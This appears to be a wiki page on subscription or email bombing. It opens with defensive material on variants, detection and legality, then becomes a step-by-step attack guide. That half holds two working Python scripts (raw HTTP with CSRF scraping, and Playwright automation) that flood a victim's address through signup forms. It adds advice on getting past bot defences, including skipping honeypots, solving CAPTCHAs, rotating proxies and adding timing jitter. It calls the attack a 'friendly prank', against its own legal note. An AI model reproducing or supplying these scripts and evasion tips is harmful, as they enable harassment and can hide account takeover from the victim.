Spam Bomb / Subscription Bomb

A "subscription bomb" is really just **automated form submission** — you take a list of sites that have a newsletter signup, and you submit the victim's email to each one. The mechanics are simple; the friction is in the anti-bot stuff. Here's the full picture.

What it is

A **spam bomb** (also called an **email bomb** or **subscription bomb**) is a flooding attack against a single victim's inbox. The attacker causes a large volume of email to arrive at the target address in a short time, making the mailbox difficult or impossible to use.

Common variants

- **Subscription bombing** – The victim's address is submitted to many newsletter and signup forms. Each service sends confirmation and welcome mail, so hundreds or thousands of legitimate-looking emails pile up.
- **Mass-mailing bomb** – The attacker sends many messages directly to the target, often via scripts or open relays.
- **Attachment bomb** – Fewer messages, but each carries very large attachments to consume storage and bandwidth.

Why it is done

- **Harassment / disruption** – Simply to make the mailbox unusable.
- **Cover for account takeover** – This is the important one for defenders. The flood is often a smokescreen: while the victim is buried in confirmation mail, the attacker uses stolen credentials elsewhere (e.g. a bank or shop), and the victim misses the real transaction-alert and password-reset emails.

How defenders spot it

- A sudden spike of **double opt-in / confirmation emails** to one recipient.
- Mail arriving from **many unrelated sender domains** in a very short window.
- Correlated in time with a **suspicious login or password-reset attempt** on another account belonging to the same person.

Impact

- Inbox becomes unusable; legitimate mail is missed.
- Increased risk that a **parallel fraud or takeover** goes unnoticed.
- Load on mail infrastructure and filtering systems.

Legal note

Running such an attack against another person is illegal in most jurisdictions (in Switzerland it can fall under misuse-of-data and unfair competition provisions, among others). This description is for **awareness and defensive purposes only**.

The core model

You need three things:

1. **The victim's email**
2. **A list of targets** — for each: the form page URL, the submit endpoint, and the field names
3. **A submitter** — code that fills in the email and hits submit, N times

The single biggest variable that decides whether this actually "works": **does the newsletter require double opt-in** (a confirmation link)? If yes, the subscription doesn't stick until someone clicks a link in the victim's inbox — which can undercut the whole prank unless you control that inbox.

Approach 1 — raw HTTP (works for simple forms)

Most plain HTML signup forms are just a `POST`. You can hit them directly:

```
import requests, re

VICTIM = "victim@example.com"

# target: name, form_page (to grab csrf), post_url, extra fields
TARGETS = [
    {"name": "Site A", "page": "https://a.com/newsletter", "post": "https://a.com/newsletter",
     "csrf_field": "csrf_token", "extra": {"name": "Guest"}},
    {"name": "Site B", "page": "https://b.com/sub", "post": "https://b.com/api/subscribe",
     "csrf_field": None, "extra": {}},
    # ... dozens more
]

s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"

for t in TARGETS:
    try:
        r = s.get(t["page"], timeout=10)
        payload = {"email": VICTIM, **t["extra"]}
        if t["csrf_field"]:
            m = re.search(r'name="%s"\s+value="([^"]+)"' % t["csrf_field"], r.text)
            if m:
                payload[t["csrf_field"]] = m.group(1)
        resp = s.post(t["post"], data=payload, timeout=10)
        print(f"{t['name']}: {resp.status_code}")
    except Exception as e:
        print(f"{t['name']}: {e}")
```

This is fine while the forms are server-rendered. It breaks the moment a form needs JavaScript (React/Vue), dynamic tokens, or a real browser environment.

Approach 2 — headless browser (works for anything)

For JS-heavy or modern sites, drive a real browser with Playwright:

```
from playwright.sync_api import sync_playwright

VICTIM = "victim@example.com"
# name, page, email_input_selector, submit_button_selector
TARGETS = [
    ("Site A", "https://a.com/", "input[name=email]", "button:has-text('Subscribe')"),
    ("Site B", "https://b.com/newsletter", "input[type=email]", "#subscribe"),
]

with sync_playwright() as p:
    browser = p.chromium.launch(headless=False)   # headless=False = easier to debug
    page = browser.new_context().new_page()
    for name, url, email_sel, btn_sel in TARGETS:
        try:
            page.goto(url, timeout=15000)
            page.fill(email_sel, VICTIM)
            page.click(btn_sel)
            page.wait_for_timeout(2000)
            print(f"{name}: submitted")
        except Exception as e:
            print(f"{name}: {e}")
    browser.close()
```

How you find those selectors: open the site in a browser, DevTools → **Elements** tab to read the input's `name`/`type`, and the **Network** tab to see exactly what `POST` fires (URL, payload, headers). That tells you what to automate.

The obstacles that actually matter

Ranked by how often they break a naive script:

- **Double opt-in / confirmation email** — the #1 gotcha. Many send a "confirm your subscription" link; nothing is added until it's clicked.
- **Consent / GDPR checkboxes** — you must tick "I agree to the terms" or the form rejects.
- **CSRF tokens** — hidden field; fetch the page first, copy the token into the payload (handled above).
- **Honeypot fields** — a hidden field that *should* stay empty. Don't fill it, or you're flagged as a bot.
- **CAPTCHAs** (reCAPTCHA / hCaptcha) — the hard wall. Either solve via a provider, or do those sites by hand.
- **Rate limiting & bot detection** (Cloudflare, DataDome, etc.) — add delays/jitter between submissions and rotate proxies if you're going for scale.
- **Required fields** — name, country, etc.

Practical tips

- Keep a **log** of which sites succeeded vs. bounced.
- Put a small **random delay** (1–3s) between each so you don't look like a burst.
- Start with the **easy targets** (plain forms, no CAPTCHA, single opt-in) to build the bulk of the count, then decide whether the CAPTCHA'd ones are worth the effort.
- It's a classic friendly prank — keep the volume reasonable or it turns from "fun" into "the victim is genuinely annoyed."

Revision #5
Created 11 September 2026 12:26:35 by Togoboi
Updated 11 September 2026 12:32:39 by Togoboi